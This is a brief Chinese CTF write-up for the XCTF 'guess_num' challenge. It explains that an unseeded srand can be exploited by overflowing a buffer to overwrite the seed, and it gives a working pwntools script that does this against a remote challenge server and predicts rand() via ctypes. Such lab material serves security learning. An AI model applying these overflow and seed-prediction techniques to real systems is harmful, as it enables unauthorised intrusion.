xcft guess_num[recorded] - 图1
    srand的随机数未写入随机时间种子,所以随机时间序列是一样的
    只需要用v9溢出覆盖seed0即可

    导入ctypes库进行混合编程

    1. from pwn import*
    2. from ctypes import*
    3. #p=process('./target')
    4. context(log_level = 'debug', arch = 'amd64', os = 'linux')
    5. p=remote('111.200.241.244',59490)
    6. elf=ELF('./target')
    7. libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#用cdll搜索libcso6,才能混合编程
    8. payload=b'a'*(0x30-0x10)+p64(1)#覆盖操作
    9. p.sendlineafter("Your name:",payload)
    10. libc.srand(1)#设定随机序列为1
    11. for i in range(10):
    12. p.sendlineafter('Please input your guess number:',str(libc.rand()%6+1))
    13. p.interactive()